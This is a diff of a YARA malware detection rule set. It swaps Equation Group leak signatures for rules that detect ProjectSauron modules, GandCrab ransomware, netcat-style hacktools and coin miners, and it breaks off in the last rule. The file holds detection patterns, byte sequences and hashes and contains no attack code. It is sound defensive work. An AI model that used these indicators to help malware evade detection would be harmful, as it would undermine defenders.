+		id = "e1dd4d1a-1089-5897-8f4a-52c7068802fa"
+		date = "2016-08-08"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L2451-L2475"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9f280baf785f54218cbf47f65419cfe23c687e58021f36b5d116904d2cec9a9b"
+		reference = "https://goo.gl/eFoP4A"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_project_sauron_extras.yar#L57-L71"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "bba87b17a62fc968e89d4f6d10de06875c6b7f47c8bb7ae3f7932804b23a8e87"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "3df61b8ef42a995b8f15a0d38bc51f2f08f8d9a2afa1afc94c6f80671cf4a124"
-		hash2 = "f7a886ee10ee6f9c6be48c20f370514be62a3fd2da828b0dff44ff3d485ff5c5"
-		hash3 = "980954a2440122da5840b31af7e032e8a25b0ce43e071ceb023cca21cedb2c43"
 
 	strings:
-		$s3 = "wCw3wDwAw2wNw@wEwZw2wDwEwBwZwFwFw4w2wZw5w1w4wFwZwGwOwGwGwEw5w2wFwGwDwFwOw" fullword ascii
-		$s6 = "w+w;w2w0w6w4w.w(wRw" fullword ascii
-		$op1 = { 80 f7 ff ff 49 89 84 34 18 02 00 00 41 83 a4 34 }
-		$op2 = { ff 15 0b 34 00 00 eb 92 }
-		$op3 = { 4d 8d b4 34 08 02 00 00 4d 85 f6 0f 84 ae }
-		$op4 = { 8b ca 2b ce 8d 34 01 0f b7 3e 66 3b 7d f0 89 75 }
-		$op5 = { 8a 40 01 00 c7 47 70 }
-		$op6 = { e9 3c ff ff ff 6a ff 8d 45 f0 50 e8 27 11 00 00 }
-		$op7 = { 8b 45 08 53 57 8b 7d 0c c7 40 34 }
+		$x1 = "Inject using process name or pid. Default"
+		$s2 = "Convert mode: Read log from file and convert to text"
+		$s3 = "Maximum running time in seconds"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <100KB and 4 of them )
+		$x1 or 2 of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Diba_Target_BH : FILE
+rule SIGNATURE_BASE_APT_Project_Sauron_Basex_Module
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects strings from basex module - Project Sauron report by Kaspersky"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c6ae85b6-0670-558c-9ce5-64bd5822f35b"
-		date = "2017-04-15"
+		id = "51ef3826-af5c-562b-a1f8-3bf11532ac2d"
+		date = "2016-08-08"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L2477-L2492"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "273e38e287b1597753f653c0ed8300936581a1b767029d3f0ba757de589bcd5a"
+		reference = "https://goo.gl/eFoP4A"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_project_sauron_extras.yar#L73-L87"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "90cfb58017d62312c56908aca1a48bb7425f5cd51540298ecf65305b46ffb2c8"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "7ae9a247b60dc31f424e8a7a3b3f1749ba792ff1f4ba67ac65336220021fce9f"
 
 	strings:
-		$op0 = { 44 89 20 e9 40 ff ff ff 8b c2 48 8b 5c 24 60 48 }
-		$op1 = { 45 33 c9 49 8d 7f 2c 41 ba }
-		$op2 = { 89 44 24 34 eb 17 4c 8d 44 24 28 8b 54 24 30 48 }
+		$x1 = "64, 64url, 32, 32url or 16."
+		$s2 = "Force decoding when input is invalid/corrupt"
+		$s3 = "This cruft"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <2000KB and all of them )
+		$x1 or 2 of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_PC_LP : FILE
+rule SIGNATURE_BASE_APT_Project_Sauron_Dext_Module
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects strings from dext module - Project Sauron report by Kaspersky"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c3f8f0f9-80ab-5d8e-be42-59b90dc291cb"
-		date = "2017-04-15"
+		id = "d69373e0-d6ad-5475-8766-06e865620ed8"
+		date = "2016-08-08"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L2494-L2508"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cd7b92f13e0a00d23baef70e38b476b62394106dfa70e831786f398c573aa744"
+		reference = "https://goo.gl/eFoP4A"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_project_sauron_extras.yar#L89-L104"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7dbfb3ddfffa6fa65800e07fdcc527650474740afa658567efe46830587cedae"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "3a505c39acd48a258f4ab7902629e5e2efa8a2120a4148511fe3256c37967296"
 
 	strings:
-		$s1 = "* Failed to get connection information.  Aborting launcher!" fullword wide
-		$s2 = "Format: <command> <target port> [lp port]" fullword wide
+		$x1 = "Assemble rows of DNS names back to a single string of data"
+		$x2 = "removes checks of DNS names and lengths (during split)"
+		$x3 = "Randomize data lengths (length/2 to length)"
+		$x4 = "This cruft"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and all of them )
+		2 of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Remotecommand_Lp : FILE
+rule SIGNATURE_BASE_Hacktool_This_Cruft : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects string 'This cruft' often used in hack tools like netcat or cryptcat and also mentioned in Project Sauron report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "98ace4d7-edd0-5e84-bac8-b69e5307f567"
-		date = "2017-04-15"
+		id = "a39de541-19b5-5b7e-a3dc-51a5309181e5"
+		date = "2016-08-08"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L2510-L2524"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "974772264324e7721f51a88534aaa3b4eb1d409e04f673783caf4849d90522de"
-		score = 75
+		reference = "https://goo.gl/eFoP4A"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_project_sauron_extras.yar#L106-L119"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "875c34e8048c3f98afc97683d0b3086c3396753cd9fb14bc68681c63ed77fd51"
+		score = 60
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "57b47613a3b5dd820dae59fc6dc2b76656bd578f015f367675219eb842098846"
 
 	strings:
-		$s1 = "Failure parsing command from %hs:%u: os=%u plugin=%u" fullword wide
-		$s2 = "Unable to get TCP listen port: %08x" fullword wide
+		$x1 = "This cruft" fullword
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and all of them )
+		( uint16(0)==0x5a4d and filesize <200KB and $x1)
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Lp_Mstcp : FILE
+rule SIGNATURE_BASE_APT_Project_Sauron_Custom_M1 : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects malware from Project Sauron APT"
 		author = "Florian Roth (Nextron Systems)"
-		id = "afa4985e-7c8f-58fc-9881-219ccba6a495"
-		date = "2017-04-15"
+		id = "c741bd7d-1885-55f1-a5b3-8f00fda2fe39"
+		date = "2016-08-09"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L2526-L2545"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5d1423661f95d955f411414138da45cc4be59b2e6bf8e70f471b8f41fc9ea3f4"
+		reference = "https://goo.gl/eFoP4A"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_project_sauron_extras.yar#L130-L148"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c81c996e487bdd840111513724ccf1220ee3bd8280d776aa4c128ef5263ee136"
 		score = 75
-		quality = 83
+		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "2ab1e1d23021d887759750a0c053522e9149b7445f840936bbc7e703f8700abd"
+		hash1 = "9572624b6026311a0e122835bcd7200eca396802000d0777dba118afaaf9f2a9"
 
 	strings:
-		$s1 = "\\Registry\\User\\CurrentUser\\" wide
-		$s2 = "_PacketNDISRequestComplete@12\"" fullword ascii
-		$s3 = "_LDNdis5RegDeleteKeys@4" ascii
-		$op1 = { 89 7e 04 75 06 66 21 46 02 eb }
-		$op2 = { fc 74 1b 8b 49 04 0f b7 d3 66 83 }
-		$op3 = { aa 0f b7 45 fc 8b 52 04 8d 4e }
+		$s1 = "ncnfloc.dll" fullword wide
+		$s4 = "Network Configuration Locator" fullword wide
+		$op0 = { 80 75 6e 85 c0 79 6a 66 41 83 38 0a 75 63 0f b7 }
+		$op1 = { 80 75 29 85 c9 79 25 b9 01 }
+		$op2 = { 2b d8 48 89 7c 24 38 44 89 6c 24 40 83 c3 08 89 }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <100KB and ( all of ($s*) or all of ($op*)))
+		( uint16(0)==0x5a4d and filesize <200KB and ( all of ($s*)) and 1 of ($op*)) or ( all of them )
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Renamer : FILE
+rule SIGNATURE_BASE_APT_Project_Sauron_Custom_M2 : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects malware from Project Sauron APT"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b5a7c8a8-c30d-5667-a458-6962a24061d3"
-		date = "2017-04-15"
+		id = "79abe5f2-a750-5018-a67f-6ee1c51a2ca1"
+		date = "2016-08-09"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L2547-L2561"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4941f31be6674499b202a3071d795317e6d97fb19088ea370180708e3d04bca7"
+		reference = "https://goo.gl/eFoP4A"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_project_sauron_extras.yar#L150-L167"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "57099a802ee62a5183156f0b30713553b6fd83bbb5e1b453e9b25da0109b8777"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "9c30331cb00ae8f417569e9eb2c645ebbb36511d2d1531bb8d06b83781dfe3ac"
+		hash1 = "30a824155603c2e9d8bfd3adab8660e826d7e0681e28e46d102706a03e23e3a8"
 
 	strings:
-		$s1 = "FILE_NAME_CONVERSION.LOG" fullword wide
-		$s2 = "Log file exists. You must delete it!!!" fullword wide
+		$s2 = "\\*\\3vpn" ascii
+		$op0 = { 55 8b ec 83 ec 0c 53 56 33 f6 39 75 08 57 89 75 }
+		$op1 = { 59 59 c3 8b 65 e8 ff 75 88 ff 15 50 20 40 00 ff }
+		$op2 = { 8b 4f 06 85 c9 74 14 83 f9 12 0f 82 a7 }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <80KB and all of them )
+		( uint16(0)==0x5a4d and filesize <400KB and ( all of ($s*)) and all of ($op*))
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_PC_Exploit : FILE
+rule SIGNATURE_BASE_APT_Project_Sauron_Custom_M3 : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects malware from Project Sauron APT"
 		author = "Florian Roth (Nextron Systems)"
-		id = "67a4c8b8-87fb-5f2d-a4dd-299d087c77a3"
-		date = "2017-04-15"
+		id = "555b37a2-6a3c-539f-81dc-24c739795510"
+		date = "2016-08-09"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L2563-L2579"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6f04ec5d1066b34ebee2504f7d229610e525743f7536d58bf99fc4f89ac6aa3b"
+		reference = "https://goo.gl/eFoP4A"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_project_sauron_extras.yar#L169-L186"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "739414990d112dd16e01831408ba745b04fae7621eb9074f73babbc40b69e1ad"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "77486bb828dba77099785feda0ca1d4f33ad0d39b672190079c508b3feb21fb0"
+		hash1 = "a4736de88e9208eb81b52f29bab9e7f328b90a86512bd0baadf4c519e948e5ec"
 
 	strings:
-		$s1 = "\\\\.\\pipe\\pcheap_reuse" fullword wide
-		$s2 = "**** FAILED TO DUPLICATE SOCKET ****" fullword wide
-		$s3 = "**** UNABLE TO DUPLICATE SOCKET TYPE %u ****" fullword wide
-		$s4 = "YOU CAN IGNORE ANY 'ServiceEntry returned error' messages after this..." fullword wide
+		$s1 = "ExampleProject.dll" fullword ascii
+		$op0 = { 8b 4f 06 85 c9 74 14 83 f9 13 0f 82 ba }
+		$op1 = { ff 15 34 20 00 10 85 c0 59 a3 60 30 00 10 75 04 }
+		$op2 = { 55 8b ec ff 4d 0c 75 09 ff 75 08 ff 15 00 20 00 }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <20KB and 1 of them )
+		( uint16(0)==0x5a4d and filesize <1000KB and ( all of ($s*)) and all of ($op*))
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_PC_Level3_Gen : FILE
+rule SIGNATURE_BASE_APT_Project_Sauron_Custom_M4 : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects malware from Project Sauron APT"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c479964c-3122-511d-9410-bc5d890f1489"
-		date = "2017-04-15"
+		id = "32717ace-ff56-5b5b-8ed9-4bb353886eea"
+		date = "2016-08-09"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L2581-L2600"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2ba0f5ada13bd8c71836f26e278c334fdbf2578eac189852befee7a81c07e169"
+		reference = "https://goo.gl/eFoP4A"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_project_sauron_extras.yar#L188-L206"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0735ba9591a9cf06cd13ba480b4559ef83105ab08ffcec21ebbbfdf3766edb93"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "c7dd49b98f399072c2619758455e8b11c6ee4694bb46b2b423fa89f39b185a97"
-		hash2 = "f6b723ef985dfc23202870f56452581a08ecbce85daf8dc7db4491adaa4f6e8f"
+		hash1 = "e12e66a6127cfd2cbb42e6f0d57c9dd019b02768d6f1fb44d91f12d90a611a57"
 
 	strings:
-		$s1 = "S-%u-%u" fullword ascii
-		$s2 = "Copyright (C) Microsoft" fullword wide
-		$op1 = { 24 39 65 c6 44 24 3a 6c c6 44 24 3b 65 c6 44 24 }
-		$op2 = { 44 24 4e 41 88 5c 24 4f ff }
-		$op3 = { 44 24 3f 6e c6 44 24 40 45 c6 44 24 41 }
+		$s1 = "xpsmngr.dll" fullword wide
+		$s2 = "XPS Manager" fullword wide
+		$op0 = { 89 4d e8 89 4d ec 89 4d f0 ff d2 3d 08 00 00 c6 }
+		$op1 = { 55 8b ec ff 4d 0c 75 09 ff 75 08 ff 15 04 20 5b }
+		$op2 = { 8b 4f 06 85 c9 74 14 83 f9 13 0f 82 b6 }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <400KB and 3 of them )
+		( uint16(0)==0x5a4d and filesize <90KB and ( all of ($s*)) and 1 of ($op*)) or ( all of them )
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Put_Implant9X : FILE
+rule SIGNATURE_BASE_APT_Project_Sauron_Custom_M6 : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects malware from Project Sauron APT"
 		author = "Florian Roth (Nextron Systems)"
-		id = "73cafd51-8b0d-59e3-966d-2f5de65953a7"
-		date = "2017-04-15"
+		id = "1aa6dd43-52ac-5321-9941-767833073c37"
+		date = "2016-08-09"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L2602-L2618"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e79a59e400aac544dc1160d5898e3053f88f7d5bc142440177526187650484e7"
+		reference = "https://goo.gl/eFoP4A"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_project_sauron_extras.yar#L208-L226"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "95ca9a0b2e71e7152d20a01d238e7362024c6dac6fc95ed2ebfa96dcbc8dbd40"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "8fcc98d63504bbacdeba0c1e8df82f7c4182febdf9b08c578d1195b72d7e3d5f"
+		hash1 = "3782b63d7f6f688a5ccb1b72be89a6a98bb722218c9f22402709af97a41973c8"
 
 	strings:
-		$s1 = "3&3.3<3A3F3K3V3c3m3" fullword ascii
-		$op1 = { c9 c2 08 00 b8 72 1c 00 68 e8 c9 fb ff ff 51 56 }
-		$op2 = { 40 1b c9 23 c8 03 c8 38 5d 14 74 05 6a 03 58 eb }
+		$s1 = "rseceng.dll" fullword wide
+		$s2 = "Remote Security Engine" fullword wide
+		$op0 = { 8b 0d d5 1d 00 00 85 c9 0f 8e a2 }
+		$op1 = { 80 75 6e 85 c0 79 6a 66 41 83 38 0a 75 63 0f b7 }
+		$op2 = { 80 75 29 85 c9 79 25 b9 01 }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <20KB and 2 of them )
+		( uint16(0)==0x5a4d and filesize <200KB and ( all of ($s*)) and 1 of ($op*)) or ( all of them )
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Promiscdetect_Safe : FILE
+rule SIGNATURE_BASE_APT_Project_Sauron_Custom_M7 : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects malware from Project Sauron APT"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d6103861-b332-5c21-8408-76b512012689"
-		date = "2017-04-15"
+		id = "c5e83e1a-872d-53b3-a74a-b1a9b4a89168"
+		date = "2016-08-09"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L2620-L2635"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4b8c2e9a00af4e6aed7f603dee0439357e3389180fbd2e83d6809e76dc7d0428"
+		reference = "https://goo.gl/eFoP4A"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_project_sauron_extras.yar#L228-L261"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d132ddeb1d26b035565d3707b73d401fb413315febe26ac291cb05bfeca7c41d"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "6070d8199061870387bb7796fb8ccccc4d6bafed6718cbc3a02a60c6dc1af847"
+		hash1 = "6c8c93069831a1b60279d2b316fd36bffa0d4c407068dbef81b8e2fe8fd8e8cd"
+		hash2 = "7cc0bf547e78c8aaf408495ceef58fa706e6b5d44441fefdce09d9f06398c0ca"
 
 	strings:
-		$s1 = "running on this computer!" fullword ascii
-		$s2 = "- Promiscuous (capture all packets on the network)" fullword ascii
-		$s3 = "Active filter for the adapter:" fullword ascii
+		$sx1 = "Default user" fullword wide
+		$sx2 = "Hincorrect header check" fullword ascii
+		$sa1 = "MSAOSSPC.dll" fullword ascii
+		$sa2 = "MSAOSSPC.DLL" fullword wide
+		$sa3 = "MSAOSSPC" fullword wide
+		$sa4 = "AOL Security Package" fullword wide
+		$sa5 = "AOL Security Package" fullword wide
+		$sa6 = "AOL Client for 32 bit platforms" fullword wide
+		$op0 = { 8b ce 5b e9 4b ff ff ff 55 8b ec 51 53 8b 5d 08 }
+		$op1 = { e8 0a fe ff ff 8b 4d 14 89 46 04 89 41 04 8b 45 }
+		$op2 = { e9 29 ff ff ff 83 7d fc 00 0f 84 cf 0a 00 00 8b }
+		$op3 = { 83 f8 0c 0f 85 3a 01 00 00 44 2b 41 6c 41 8b c9 }
+		$op4 = { 44 39 57 0c 0f 84 d6 0c 00 00 44 89 6f 18 45 89 }
+		$op5 = { c1 ed 02 83 c6 fe e9 68 fe ff ff 44 39 57 08 75 }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <80KB and all of them )
+		uint16(0)==0x5a4d and filesize <200KB and ((3 of ($s*) and 3 of ($op*)) or (1 of ($sx*) and 1 of ($sa*)))
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Packetscan_Implant : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_Gandcrab_Apr18_1 : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects GandCrab malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e49695d9-15ae-53a6-955c-c68402e241a2"
-		date = "2017-04-15"
+		id = "ef7983cd-a7b3-5ce2-8cff-1bcf35bc6140"
+		date = "2018-04-23"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L2637-L2652"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "aa2106d2aad3e81c864181c851574f76f48cd4fe48bb3327135f2956d271dfde"
+		reference = "https://twitter.com/MarceloRivero/status/988455516094550017"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_mal_grandcrab.yar#L3-L14"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "70fc8deb91126a7404095aaa512e9b7542fe8605f83a037a10f8ccff76c27d4f"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "9b97cac66d73a9d268a15e47f84b3968b1f7d3d6b68302775d27b99a56fbb75a"
-
-	strings:
-		$op0 = { e9 ef fe ff ff ff b5 c0 ef ff ff 8d 85 c8 ef ff }
-		$op1 = { c9 c2 04 00 b8 34 26 00 68 e8 40 05 00 00 51 56 }
-		$op2 = { e9 0b ff ff ff 8b 45 10 8d 4d c0 89 58 08 c6 45 }
+		hash1 = "6fafe7bb56fd2696f2243fc305fe0c38f550dffcfc5fca04f70398880570ffff"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <30KB and all of them )
+		uint16(0)==0x5a4d and filesize <800KB and pe.imphash()=="7936b0e9491fd747bf2675a7ec8af8ba"
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Setports : FILE
+rule SIGNATURE_BASE_Coinminer_Strings : SCRIPT HIGHVOL FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects mining pool protocol string in Executable"
 		author = "Florian Roth (Nextron Systems)"
-		id = "6dc67951-714e-57d9-b34a-0006348b6b10"
-		date = "2017-04-15"
-		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L2654-L2668"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b2c61f6ca2d59d5e596e7c5c87ed3476d957763daeaf41e6f356bacf26415faf"
-		score = 75
+		id = "ac045f83-5f32-57a9-8011-99a2658a0e05"
+		date = "2018-01-04"
+		modified = "2021-10-26"
+		reference = "https://minergate.com/faq/what-pool-address"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/pua_cryptocoin_miner.yar#L2-L18"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2d63bf90560c83ab6c09e0c82b6a6449bca6e7e7d0945d3782c2fa9a726b2ca1"
+		score = 60
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "722d3cf03908629bc947c4cca7ce3d6b80590a04616f9df8f05c02de2d482fb2"
+		tags = "SCRIPT, HIGHVOL, FILE"
+		nodeepdive = 1
 
 	strings:
-		$s1 = "USAGE: SetPorts <input file> <output file> <version> <port1> [port2] [port3] [port4] [port5]" fullword ascii
